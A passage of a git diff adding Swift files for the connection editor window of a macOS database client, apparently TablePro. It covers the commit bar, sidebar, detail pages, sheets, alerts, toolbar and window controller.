+ alert.informativeText = prompt.message + alert.alertStyle = .warning + alert.addButton(withTitle: String(localized: "Save")) + AlertHelper.addCancelButton(to: alert, title: String(localized: "Cancel")) + let dontSave = alert.addButton(withTitle: String(localized: "Don't Save")) + dontSave.hasDestructiveAction = true + dontSave.keyEquivalent = "d" + dontSave.keyEquivalentModifierMask = .command + return alert + } +} + +struct ConnectionEditorSavePrompt: Equatable { + let connectionName: String + + var title: String { + String(format: String(localized: "Do you want to save the changes to “%@”?"), connectionName) + } + + var message: String { + String(localized: "Your changes will be lost if you don't save them.") + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift new file mode 100644 index 0000000000..434a82d5ac --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCommitBar.swift @@ -0,0 +1,217 @@ +// +// ConnectionEditorCommitBar.swift +// TablePro +// + +import SwiftUI + +// What the bar's buttons ask the window for: each ends editing first, so a half-typed value counts. +struct ConnectionEditorCommitActions { + var test: () -> Void + var save: () -> Void + var commit: () -> Void + var cancel: () -> Void + var copyURL: () -> Void + var delete: () -> Void +} + +// Full width under the sidebar and the detail, as a sidebar editor with several bottom controls has it. +struct ConnectionEditorCommitBar: View { + @ObservedObject var store: ConnectionEditorStore + let actions: ConnectionEditorCommitActions + + // One stable container carries the presentations, so a sheet stays up if the record goes missing under it. + var body: some View { + VStack(spacing: 0) { + if store.isRecordMissing { + Color.clear.frame(height: 0) + } else { + Divider() + bar + } + } + .modifier(ConnectionEditorPresentations(store: store)) + } + + private var bar: some View { + HStack(spacing: 12) { + moreMenu + testButton + ConnectionEditorCommitStatus(store: store) + .frame(maxWidth: .infinity, alignment: .leading) + Button(String(localized: "Cancel"), action: actions.cancel) + .keyboardShortcut(.cancelAction) + .fixedSize() + .accessibilityIdentifier("connection-form-cancel") + if store.isNew { + Button(String(localized: "Save"), action: actions.save) + .disabled(!store.canSave) + .fixedSize() + .accessibilityIdentifier("connection-form-save") + } + Button(store.isNew ? String(localized: "Save & Connect") : String(localized: "Save"), action: actions.commit) + .keyboardShortcut(.defaultAction) + .disabled(!store.canSave) + .fixedSize() + .accessibilityIdentifier(store.isNew ? "connection-form-save-connect" : "connection-form-save") + } + .padding(.horizontal, 20) + .padding(.vertical, 12) + } + + private var moreMenu: some View { + Menu { + Button(String(localized: "Copy as URL"), action: actions.copyURL) + if store.canDelete { + Divider() + Button(String(localized: "Delete…"), role: .destructive, action: actions.delete) + } + } label: { + Label(String(localized: "More"), systemImage: "ellipsis.circle") + .labelStyle(.iconOnly) + } + .menuStyle(.button) + .buttonStyle(.borderless) + .menuIndicator(.hidden) + .fixedSize() + .help(String(localized: "More")) + .accessibilityLabel(String(localized: "More")) + .accessibilityIdentifier("connection-form-more") + } + + private var testButton: some View { + Button(store.isTesting ? String(localized: "Cancel Test") : String(localized: "Test Connection"), action: actions.test) + .disabled(!store.isTesting && !store.canTest) + .fixedSize() + .accessibilityIdentifier("connection-form-test") + } +} + +// One line, truncating, the whole text in the tooltip. +struct ConnectionEditorCommitStatus: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if store.isLibraryUnreadable { + let message = ConnectionEditorSaveError.libraryUnreadable.errorDescription ?? "" + NoticeLabel(message, severity: .error) + .lineLimit(1) + .help(message) + } else if store.testState != .idle { + // A test result outranks a blocking issue: Test needs no name, and its result would never show otherwise. + testStatus + } else if let issue = store.firstBlockingIssue { + Button { + store.focus(on: issue) + } label: { + NoticeLabel(issue.message, severity: .error) + .lineLimit(1) + } + .buttonStyle(.plain) + .help(issue.message) + .accessibilityHint(String(localized: "Shows the setting to fix")) + .accessibilityIdentifier("connection-form-validation") + } + } + + @ViewBuilder + private var testStatus: some View { + switch store.testState { + case .idle: + EmptyView() + case .running: + HStack(spacing: 6) { + ProgressView() + .controlSize(.small) + Text(String(localized: "Testing…")) + .foregroundStyle(.secondary) + .lineLimit(1) + } + .accessibilityElement(children: .combine) + .accessibilityIdentifier("connection-form-test-status") + case .succeeded(let success): + HStack(spacing: 6) { + NoticeLabel(success.summary, severity: success.warning == nil ? .success : .warning) + .lineLimit(1) + .help([success.summary, success.warning].compactMap { $0 }.joined(separator: "\n")) + .accessibilityIdentifier("connection-form-test-status") + if let warning = success.warning { + ConnectionTestDetailsButton { + ConnectionTestDetails(title: success.summary, message: warning) + } + .accessibilityIdentifier("connection-form-test-warning") + } + } + case .failed(let failure): + HStack(spacing: 6) { + NoticeLabel(failure.summary, severity: .error) + .lineLimit(1) + .help([failure.summary, failure.message].joined(separator: "\n")) + .accessibilityIdentifier("connection-form-test-status") + ConnectionTestDetailsButton { + ConnectionTestDetails( + title: failure.step.title, + message: failure.message, + recoverySuggestion: failure.recoverySuggestion, + recoveryTitle: failure.recoveryAction?.title, + recover: { store.performTestRecovery() } + ) + } + } + } + } +} + +private struct ConnectionTestDetailsButton: View { + @ViewBuilder let details: () -> Details + @State private var isShowingDetails = false + + var body: some View { + Button { + isShowingDetails = true + } label: { + Image(systemName: "info.circle") + } + .buttonStyle(.borderless) + .help(String(localized: "Details")) + .accessibilityLabel(String(localized: "Details")) + .popover(isPresented: $isShowingDetails, arrowEdge: .top) { + details() + } + } +} + +// Read only: what failed, the server's own words, and the one fix TablePro can start. +private struct ConnectionTestDetails: View { + let title: String + let message: String + var recoverySuggestion: String? + var recoveryTitle: String? + var recover: () -> Void = {} + + @Environment(\.dismiss) private var dismiss + + var body: some View { + VStack(alignment: .leading, spacing: 8) { + Text(title) + .font(.headline) + Text(message) + .textSelection(.enabled) + .fixedSize(horizontal: false, vertical: true) + if let recoverySuggestion, !recoverySuggestion.isEmpty { + Text(recoverySuggestion) + .foregroundStyle(.secondary) + .fixedSize(horizontal: false, vertical: true) + } + if let recoveryTitle { + Button(recoveryTitle) { + dismiss() + recover() + } + .padding(.top, 4) + } + } + .padding(16) + .frame(width: 340, alignment: .leading) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift new file mode 100644 index 0000000000..8daf48eb0e --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorDetailViewController.swift @@ -0,0 +1,107 @@ +// +// ConnectionEditorDetailViewController.swift +// TablePro +// + +import AppKit +import SwiftUI + +struct ConnectionEditorFacetPage: View { + let store: ConnectionEditorStore + let facet: ConnectionFacet + + var body: some View { + switch facet { + case .general: GeneralFacetView(store: store) + case .sshAndProxies: SSHAndProxiesFacetView(store: store) + case .sslTLS: SSLFacetView(store: store) + case .appearance: AppearanceFacetView(store: store) + case .safeMode: SafeModeFacetView(store: store) + case .aiAndMCP: AIAndMCPFacetView(store: store) + case .startup: StartupFacetView(store: store) + case .advanced: AdvancedFacetView(store: store) + } + } +} + +// One hosting controller per visited facet, kept while the window is open: rebuilding a facet on every +// sidebar click drops its scroll position and @State, as it did in Settings. +@MainActor +final class ConnectionEditorDetailViewController: NSViewController { + enum Content: Equatable { + case facet(ConnectionFacet) + case recordMissing + } + + private let store: ConnectionEditorStore + private let onCloseMissingRecord: () -> Void + private var facetHosts: [ConnectionFacet: NSHostingController] = [:] + private var recordMissingHost: NSHostingController? + private(set) var shownContent: Content? + + init(store: ConnectionEditorStore, onCloseMissingRecord: @escaping () -> Void) { + self.store = store + self.onCloseMissingRecord = onCloseMissingRecord + super.init(nibName: nil, bundle: nil) + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorDetailViewController does not support NSCoder init") + } + + override func loadView() { + view = NSView() + } + + var visitedFacets: Set { + Set(facetHosts.keys) + } + + func show(_ content: Content) { + _ = view + guard content != shownContent else { return } + let shown: NSViewController + switch content { + case .facet(let facet): + shown = facetHosts[facet] ?? makeFacetHost(facet) + case .recordMissing: + shown = recordMissingHost ?? makeRecordMissingHost() + } + for child in children where child !== shown { + // A hidden host leaves the key view loop and the accessibility tree, and adds nothing to a live resize. + child.view.isHidden = true + child.view.autoresizingMask = [] + } + shown.view.frame = view.bounds + shown.view.autoresizingMask = [.width, .height] + shown.view.isHidden = false + shownContent = content + } + + private func makeFacetHost(_ facet: ConnectionFacet) -> NSHostingController { + let host = NSHostingController(rootView: ConnectionEditorFacetPage(store: store, facet: facet)) + install(host) + facetHosts[facet] = host + return host + } + + private func makeRecordMissingHost() -> NSHostingController { + let host = NSHostingController(rootView: ConnectionEditorRecordMissingView(onClose: onCloseMissingRecord)) + install(host) + recordMissingHost = host + return host + } + + private func install(_ host: NSHostingController) { + // A split item's hosting controller fixes its fitting size as a required minimum unless this is cleared. + host.sizingOptions = [] + if #available(macOS 14.0, *) { + // The window title belongs to the shell; a facet's navigation title must not reach it. + host.sceneBridgingOptions = [] + } + addChild(host) + host.view.frame = view.bounds + view.addSubview(host.view) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift new file mode 100644 index 0000000000..2b25966673 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorPresentations.swift @@ -0,0 +1,132 @@ +// +// ConnectionEditorPresentations.swift +// TablePro +// + +import SwiftUI + +// Every sheet and alert the editor raises on its window, each bound to the store state that asks for it. +struct ConnectionEditorPresentations: ViewModifier { + @ObservedObject var store: ConnectionEditorStore + + func body(content: Content) -> some View { + content + .sheet(isPresented: $store.isChoosingType) { + DatabaseTypeChooserSheet( + initialType: store.draft.type, + onSelected: { choose($0) }, + onCancel: { store.isChoosingType = false } + ) + } + .sheet(item: $store.sshProfileSheet) { sheet in + sshProfileEditor(sheet) + } + .sheet(isPresented: $store.isSavingCredentialsAsProfile) { + CredentialProfileEditorSheet( + existingProfile: store.credentialProfileFromCurrentCredentials(), + initialPassword: store.draft.credentials.password, + initialDatabaseType: store.draft.type, + onSave: { store.didSaveCredentialProfile($0) } + ) + } + .sheet(item: $store.pluginDiagnostic) { item in + PluginDiagnosticSheet(item: item) { + store.pluginDiagnostic = nil + } + } + .pluginInstallPrompt(for: $store.pluginInstallConnection, type: \.type) { _ in + store.test() + } + .alert( + retypeTitle, + isPresented: Binding( + // The buttons answer it; SwiftUI may clear the binding before it runs a button's action. + get: { store.pendingRetype != nil }, + set: { _ in } + ), + presenting: store.pendingRetype + ) { _ in + Button(String(localized: "Change Type")) { + store.confirmPendingRetype() + } + Button(String(localized: "Cancel"), role: .cancel) { + store.cancelPendingRetype() + } + } message: { proposal in + Text(proposal.dropped.formatted(.list(type: .and))) + } + .alert( + String(localized: "Save Failed"), + isPresented: Binding( + get: { Self.alertsSaveError(store.saveError) }, + set: { if !$0 { store.saveError = nil } } + ), + presenting: store.saveError + ) { _ in + Button(String(localized: "OK"), role: .cancel) { + store.saveError = nil + } + } message: { error in + Text(error.errorDescription ?? "") + } + .alert( + String(localized: "Delete Failed"), + isPresented: Binding( + get: { store.deleteError != nil }, + set: { if !$0 { store.deleteError = nil } } + ), + presenting: store.deleteError + ) { _ in + Button(String(localized: "OK"), role: .cancel) { + store.deleteError = nil + } + } message: { error in + Text(error.errorDescription ?? "") + } + } + + // An invalid field already has its place: Save focuses it and the commit bar names it. + static func alertsSaveError(_ error: ConnectionEditorSaveError?) -> Bool { + guard let error else { return false } + switch error { + case .invalid: return false + case .libraryUnreadable, .recordMissing, .keychainWriteFailed, .recordWriteFailed: return true + } + } + + private var retypeTitle: String { + guard let proposal = store.pendingRetype else { return "" } + return String(format: String(localized: "Changing to %@ removes:"), proposal.to.displayName) + } + + // The same install question Welcome asks after its chooser, then the retype, which confirms what it drops. + private func choose(_ type: DatabaseType) { + store.isChoosingType = false + Task { @MainActor in + guard await DatabaseTypeInstallCheck.ensureInstalled(type, window: store.window) else { return } + store.requestRetype(to: type) + } + } + + @ViewBuilder + private func sshProfileEditor(_ sheet: ConnectionEditorStore.SSHProfileSheet) -> some View { + switch sheet { + case .create: + SSHProfileEditorView(existingProfile: nil, onSave: { store.didSaveSSHProfile($0) }) + case .edit(let profile): + SSHProfileEditorView( + existingProfile: profile, + onSave: { store.didSaveSSHProfile($0) }, + onDelete: { store.didDeleteSSHProfile() } + ) + case .saveCurrent(let profile): + SSHProfileEditorView( + existingProfile: profile, + initialPassword: store.draft.ssh.password, + initialKeyPassphrase: store.draft.ssh.keyPassphrase, + initialTOTPSecret: store.draft.ssh.totpSecret, + onSave: { store.didSaveSSHProfile($0) } + ) + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorRecordMissingView.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorRecordMissingView.swift new file mode 100644 index 0000000000..33056c4646 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorRecordMissingView.swift @@ -0,0 +1,23 @@ +// +// ConnectionEditorRecordMissingView.swift +// TablePro +// + +import SwiftUI + +// An edit of a connection the library no longer holds: nothing to show and nothing Save could write. +struct ConnectionEditorRecordMissingView: View { + let onClose: () -> Void + + var body: some View { + UnavailableStateView { + Label(String(localized: "Connection Not Found"), systemImage: "externaldrive.badge.questionmark") + } description: { + Text(String(localized: "This connection was deleted on another device or window.")) + } actions: { + Button(String(localized: "Close"), action: onClose) + .keyboardShortcut(.defaultAction) + .accessibilityIdentifier("connection-form-record-missing-close") + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift new file mode 100644 index 0000000000..0dafc15b55 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSidebarViewController.swift @@ -0,0 +1,238 @@ +// +// ConnectionEditorSidebarViewController.swift +// TablePro +// + +import AppKit + +struct ConnectionEditorSidebarRow: Equatable { + let facet: ConnectionFacet + let title: String + let symbolName: String + let issueMessages: [String] + + var hasIssues: Bool { !issueMessages.isEmpty } + + var toolTip: String? { + hasIssues ? issueMessages.joined(separator: "\n") : nil + } + + var accessibilityLabel: String { + guard let first = issueMessages.first else { return title } + return String(format: String(localized: "%1$@, %2$@"), title, first) + } + + // The layout's facets only, so a facet the type has no use for never shows; none while the record is gone. + @MainActor + static func rows(for store: ConnectionEditorStore) -> [ConnectionEditorSidebarRow] { + guard !store.isRecordMissing else { return [] } + return store.layout.facets.map { layout in + ConnectionEditorSidebarRow( + facet: layout.facet, + title: layout.title, + symbolName: layout.facet.symbolName, + issueMessages: store.issues(for: layout.facet).filter { $0.blocksSave }.map(\.message) + ) + } + } +} + +// AppKit on purpose: a SwiftUI sidebar List keeps the previous row emphasized after a programmatic +// selection while it is not first responder, and making it first responder would take focus from +// the field that focus(on:) just moved to. +@MainActor +final class ConnectionEditorSidebarViewController: NSViewController { + static let listIdentifier = "connection-editor-sidebar" + private static let cellIdentifier = NSUserInterfaceItemIdentifier("ConnectionEditorSidebarCell") + + let tableView = NSTableView() + private let scrollView = NSScrollView() + + var onSelectFacet: ((ConnectionFacet) -> Void)? + + private(set) var rows: [ConnectionEditorSidebarRow] = [] + private(set) var selectedFacet: ConnectionFacet? + private var isReflecting = false + + init() { + super.init(nibName: nil, bundle: nil) + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorSidebarViewController does not support NSCoder init") + } + + override func loadView() { + let column = NSTableColumn(identifier: NSUserInterfaceItemIdentifier("facet")) + column.resizingMask = .autoresizingMask + tableView.addTableColumn(column) + tableView.headerView = nil + tableView.style = .sourceList + tableView.rowSizeStyle = .default + tableView.backgroundColor = .clear + tableView.allowsMultipleSelection = false + tableView.allowsEmptySelection = false + tableView.allowsTypeSelect = true + tableView.dataSource = self + tableView.delegate = self + tableView.setAccessibilityIdentifier(Self.listIdentifier) + tableView.setAccessibilityLabel(String(localized: "Connection Settings")) + + scrollView.documentView = tableView + scrollView.drawsBackground = false + scrollView.hasVerticalScroller = true + scrollView.hasHorizontalScroller = false + scrollView.autohidesScrollers = true + + let root = NSView() + scrollView.translatesAutoresizingMaskIntoConstraints = false + root.addSubview(scrollView) + NSLayoutConstraint.activate([ + scrollView.topAnchor.constraint(equalTo: root.topAnchor), + scrollView.leadingAnchor.constraint(equalTo: root.leadingAnchor), + scrollView.trailingAnchor.constraint(equalTo: root.trailingAnchor), + scrollView.bottomAnchor.constraint(equalTo: root.bottomAnchor), + ]) + view = root + } + + // Cells are reconfigured in place when only a mark changed, so typing never reloads the list. + func show(_ rows: [ConnectionEditorSidebarRow], selecting facet: ConnectionFacet?) { + _ = view + if rows != self.rows { + let facetsChanged = rows.map(\.facet) != self.rows.map(\.facet) + self.rows = rows + isReflecting = true + if facetsChanged { + tableView.reloadData() + } else { + for index in rows.indices { + let cell = tableView.view(atColumn: 0, row: index, makeIfNecessary: false) as? ConnectionEditorSidebarCell + cell?.configure(rows[index]) + } + } + isReflecting = false + } + reflect(facet) + } + + func cell(for facet: ConnectionFacet) -> ConnectionEditorSidebarCell? { + guard let index = rows.firstIndex(where: { $0.facet == facet }) else { return nil } + return tableView.view(atColumn: 0, row: index, makeIfNecessary: true) as? ConnectionEditorSidebarCell + } + + private func reflect(_ facet: ConnectionFacet?) { + selectedFacet = facet + isReflecting = true + defer { isReflecting = false } + guard let index = facet.flatMap({ facet in rows.firstIndex { $0.facet == facet } }) else { + if tableView.selectedRow >= 0 { + tableView.deselectAll(nil) + } + return + } + if tableView.selectedRow != index { + tableView.selectRowIndexes(IndexSet(integer: index), byExtendingSelection: false) + } + tableView.scrollRowToVisible(index) + } +} + +extension ConnectionEditorSidebarViewController: NSTableViewDataSource, NSTableViewDelegate { + func numberOfRows(in tableView: NSTableView) -> Int { + rows.count + } + + func tableView(_ tableView: NSTableView, typeSelectStringFor tableColumn: NSTableColumn?, row: Int) -> String? { + rows.indices.contains(row) ? rows[row].title : nil + } + + func tableView(_ tableView: NSTableView, viewFor tableColumn: NSTableColumn?, row: Int) -> NSView? { + guard rows.indices.contains(row) else { return nil } + let cell = tableView.makeView(withIdentifier: Self.cellIdentifier, owner: self) as? ConnectionEditorSidebarCell + ?? ConnectionEditorSidebarCell(identifier: Self.cellIdentifier) + cell.configure(rows[row]) + return cell + } + + func tableViewSelectionDidChange(_ notification: Notification) { + guard !isReflecting else { return } + let index = tableView.selectedRow + guard rows.indices.contains(index) else { + reflect(selectedFacet) + return + } + selectedFacet = rows[index].facet + onSelectFacet?(rows[index].facet) + } +} + +// Keeps the imageView and textField outlets: the source list then tints the template glyph with the +// accent color, emphasizes the selected label and turns the glyph white. +final class ConnectionEditorSidebarCell: NSTableCellView { + private let glyph = NSImageView() + private let label = NSTextField(labelWithString: "") + let issueMark = NSImageView() + + init(identifier: NSUserInterfaceItemIdentifier) { + super.init(frame: .zero) + self.identifier = identifier + glyph.imageScaling = .scaleNone + glyph.setAccessibilityElement(false) + label.lineBreakMode = .byTruncatingTail + label.setContentCompressionResistancePriority(.defaultLow, for: .horizontal) + let markImage = NSImage(systemSymbolName: "exclamationmark.triangle.fill", accessibilityDescription: nil) + markImage?.accessibilityDescription = "" + issueMark.image = markImage + issueMark.imageScaling = .scaleProportionallyDown + issueMark.setAccessibilityElement(false) + issueMark.setContentHuggingPriority(.required, for: .horizontal) + issueMark.setContentCompressionResistancePriority(.required, for: .horizontal) + for subview in [glyph, label, issueMark] { + subview.translatesAutoresizingMaskIntoConstraints = false + addSubview(subview) + } + imageView = glyph + textField = label + NSLayoutConstraint.activate([ + glyph.centerXAnchor.constraint(equalTo: leadingAnchor, constant: 13), + glyph.centerYAnchor.constraint(equalTo: centerYAnchor), + label.leadingAnchor.constraint(equalTo: leadingAnchor, constant: 28.5), + label.centerYAnchor.constraint(equalTo: centerYAnchor), + label.trailingAnchor.constraint(lessThanOrEqualTo: issueMark.leadingAnchor, constant: -4), + issueMark.trailingAnchor.constraint(equalTo: trailingAnchor, constant: -4), + issueMark.centerYAnchor.constraint(equalTo: centerYAnchor), + ]) + tintIssueMark() + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorSidebarCell does not support NSCoder init") + } + + override var backgroundStyle: NSView.BackgroundStyle { + didSet { tintIssueMark() } + } + + func configure(_ row: ConnectionEditorSidebarRow) { + // The table overwrites imageView.symbolConfiguration, so the size is baked into the image. + let image = NSImage(systemSymbolName: row.symbolName, accessibilityDescription: nil)? + .withSymbolConfiguration(NSImage.SymbolConfiguration(textStyle: .body, scale: .large)) + // An empty description, not nil: nil still reads the symbol name to VoiceOver. + image?.accessibilityDescription = "" + glyph.image = image + label.stringValue = row.title + issueMark.isHidden = !row.hasIssues + toolTip = row.toolTip + // The table publishes its own cell element and drops this view's identifier, so the label carries it. + label.setAccessibilityIdentifier("connection-editor-sidebar-\(row.facet.rawValue)") + setAccessibilityLabel(row.accessibilityLabel) + } + + // Red on a plain row, white on the emphasized selection where red would not read. + private func tintIssueMark() { + issueMark.contentTintColor = backgroundStyle == .emphasized ? .alternateSelectedControlTextColor : .systemRed + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSplitViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSplitViewController.swift new file mode 100644 index 0000000000..4fd75eca9a --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorSplitViewController.swift @@ -0,0 +1,56 @@ +// +// ConnectionEditorSplitViewController.swift +// TablePro +// + +import AppKit + +// The editor is chrome: no theme slot and no ThemeBackdropState, only the system sidebar material and +// each Form's own background. +@MainActor +final class ConnectionEditorSplitViewController: NSSplitViewController { + let sidebar = ConnectionEditorSidebarViewController() + let detail: ConnectionEditorDetailViewController + private let store: ConnectionEditorStore + + init(store: ConnectionEditorStore, onCloseMissingRecord: @escaping () -> Void) { + self.store = store + self.detail = ConnectionEditorDetailViewController(store: store, onCloseMissingRecord: onCloseMissingRecord) + super.init(nibName: nil, bundle: nil) + sidebar.onSelectFacet = { [weak self] facet in + guard let self else { return } + store.selectedFacet = facet + detail.show(.facet(facet)) + } + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorSplitViewController does not support NSCoder init") + } + + override func viewDidLoad() { + super.viewDidLoad() + + let sidebarItem = NSSplitViewItem(sidebarWithViewController: sidebar) + sidebarItem.minimumThickness = ConnectionEditorWindowFrame.sidebarWidth + sidebarItem.maximumThickness = ConnectionEditorWindowFrame.sidebarWidth + sidebarItem.canCollapse = false + addSplitViewItem(sidebarItem) + + let detailItem = NSSplitViewItem(viewController: detail) + // The divider comes out of the fixed width, so the detail minimum leaves room for it. + detailItem.minimumThickness = ConnectionEditorWindowFrame.detailWidth - splitView.dividerThickness + detailItem.holdingPriority = .splitPaneHolding + addSplitViewItem(detailItem) + + sync() + } + + func sync() { + guard isViewLoaded else { return } + let isRecordMissing = store.isRecordMissing + sidebar.show(ConnectionEditorSidebarRow.rows(for: store), selecting: isRecordMissing ? nil : store.selectedFacet) + detail.show(isRecordMissing ? .recordMissing : .facet(store.selectedFacet)) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorToolbar.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorToolbar.swift new file mode 100644 index 0000000000..33b8195e39 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorToolbar.swift @@ -0,0 +1,51 @@ +// +// ConnectionEditorToolbar.swift +// TablePro +// + +import AppKit + +// Only the separator that tracks the sidebar divider, so the title sits over the detail column. The split view +// is a child of the window's content, not the content itself, so the separator names it instead of relying +// on `.sidebarTrackingSeparator` finding it. +@MainActor +final class ConnectionEditorToolbar: NSObject, NSToolbarDelegate { + static let separatorIdentifier = NSToolbarItem.Identifier("com.TablePro.connectionEditor.sidebarSeparator") + + private weak var splitView: NSSplitView? + + init(splitView: NSSplitView) { + self.splitView = splitView + super.init() + } + + func makeToolbar() -> NSToolbar { + // AppKit mirrors item changes into every toolbar sharing an identifier, and each editor window has its own. + let toolbar = NSToolbar(identifier: "com.TablePro.connectionEditor.toolbar.\(UUID().uuidString)") + toolbar.delegate = self + toolbar.displayMode = .iconOnly + toolbar.allowsUserCustomization = false + toolbar.autosavesConfiguration = false + if #available(macOS 15.0, *) { + toolbar.allowsDisplayModeCustomization = false + } + return toolbar + } + + func toolbarDefaultItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { + [Self.separatorIdentifier] + } + + func toolbarAllowedItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { + toolbarDefaultItemIdentifiers(toolbar) + } + + func toolbar( + _ toolbar: NSToolbar, + itemForItemIdentifier identifier: NSToolbarItem.Identifier, + willBeInsertedIntoToolbar flag: Bool + ) -> NSToolbarItem? { + guard identifier == Self.separatorIdentifier, let splitView else { return nil } + return NSTrackingSeparatorToolbarItem(identifier: identifier, splitView: splitView, dividerIndex: 0) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorViewController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorViewController.swift new file mode 100644 index 0000000000..d07a7822dc --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorViewController.swift @@ -0,0 +1,56 @@ +// +// ConnectionEditorViewController.swift +// TablePro +// + +import AppKit +import SwiftUI + +// The window's content: the split view on top and the commit bar across its full width, so the sidebar +// material ends at the bar. `NSWindow(contentViewController:)` binds the window title to this controller's. +@MainActor +final class ConnectionEditorViewController: NSViewController { + let split: ConnectionEditorSplitViewController + let commitBar: NSHostingView + + init(store: ConnectionEditorStore, actions: ConnectionEditorCommitActions, onCloseMissingRecord: @escaping () -> Void) { + split = ConnectionEditorSplitViewController(store: store, onCloseMissingRecord: onCloseMissingRecord) + commitBar = NSHostingView(rootView: ConnectionEditorCommitBar(store: store, actions: actions)) + super.init(nibName: nil, bundle: nil) + // Before the window exists, so its title is never blank. + title = store.windowTitle + } + + @available(*, unavailable) + required init?(coder: NSCoder) { + fatalError("ConnectionEditorViewController does not support NSCoder init") + } + + override func loadView() { + let root = NSView(frame: NSRect( + origin: .zero, + size: ConnectionEditorWindowFrame.defaultContentSize(visibleHeight: NSScreen.main?.visibleFrame.height ?? 800) + )) + addChild(split) + // The bar's height follows its content, and its width never pins the window. + commitBar.sizingOptions = [.intrinsicContentSize] + commitBar.setContentHuggingPriority(.required, for: .vertical) + commitBar.setContentHuggingPriority(.defaultLow, for: .horizontal) + commitBar.setContentCompressionResistancePriority(.defaultLow, for: .horizontal) + + for subview in [split.view, commitBar] { + subview.translatesAutoresizingMaskIntoConstraints = false + root.addSubview(subview) + } + NSLayoutConstraint.activate([ + split.view.topAnchor.constraint(equalTo: root.topAnchor), + split.view.leadingAnchor.constraint(equalTo: root.leadingAnchor), + split.view.trailingAnchor.constraint(equalTo: root.trailingAnchor), + split.view.bottomAnchor.constraint(equalTo: commitBar.topAnchor), + commitBar.leadingAnchor.constraint(equalTo: root.leadingAnchor), + commitBar.trailingAnchor.constraint(equalTo: root.trailingAnchor), + commitBar.bottomAnchor.constraint(equalTo: root.bottomAnchor), + ]) + view = root + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift new file mode 100644 index 0000000000..2cdd485052 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorWindowController.swift @@ -0,0 +1,308 @@ +// +// ConnectionEditorWindowController.swift +// TablePro +// + +import AppKit +import Combine + +// Where the editor opens. Never part of the request: one connection keeps one window whatever facet asked for it. +enum ConnectionEditorFacetChoice: Equatable { + case named(ConnectionFacet) + // The facet of the first issue that blocks Save: what a connect refused over its own settings points at. + case firstIssue +} + +// Hosts the connection editor in an AppKit window, so the app needs no SwiftUI scene for it. The registry +// keyed by request keeps one window per edited connection: two would each save over the other. +@MainActor +final class ConnectionEditorWindowController: NSWindowController, NSWindowDelegate { + private static var controllers: [ConnectionFormRequest: ConnectionEditorWindowController] = [:] + private static let cascadeOffset: CGFloat = 22 + + let store: ConnectionEditorStore + let content: ConnectionEditorViewController + private let toolbarController: ConnectionEditorToolbar + private let frameAutosaveName: String? + private var storeObservation: AnyCancellable? + + var sidebar: ConnectionEditorSidebarViewController { content.split.sidebar } + var detail: ConnectionEditorDetailViewController { content.split.detail } + + // A window already open for the request only moves when the caller names where. + static func present(_ request: ConnectionFormRequest, facet: ConnectionEditorFacetChoice? = nil) { + if let existing = controllers[request] { + existing.open(on: facet) + existing.showAndActivate() + return + } + let controller = ConnectionEditorWindowController( + store: ConnectionEditorStore(request: storeRequest(for: request)), + facet: facet, + frameAutosaveName: SplitViewAutosaveName.current(ConnectionEditorWindowFrame.autosaveName) + ) + controller.cascade(from: controllers.values.compactMap(\.window)) + controllers[request] = controller + controller.showAndActivate() + } + + private static func storeRequest(for request: ConnectionFormRequest) -> ConnectionEditorStore.Request { + switch request { + case .edit(let connectionId): + return .edit(connectionId: connectionId) + case .create(let draftId): + // Read once: consume removes the draft, so a second read would drop its parsed URL. + let draft = ConnectionFormDraftStore.shared.consume(draftId) + return .new(type: draft?.type, parsedURL: draft?.parsedURL) + } + } + + init(store: ConnectionEditorStore, facet: ConnectionEditorFacetChoice? = nil, frameAutosaveName: String?) { + self.store = store + self.frameAutosaveName = frameAutosaveName + // Before the content loads, so the first facet built is the one shown. + ConnectionEditorWindowController.select(facet, in: store) + let relay = ControllerRelay() + let content = ConnectionEditorViewController( + store: store, + actions: ConnectionEditorCommitActions( + test: { relay.controller?.runTest() 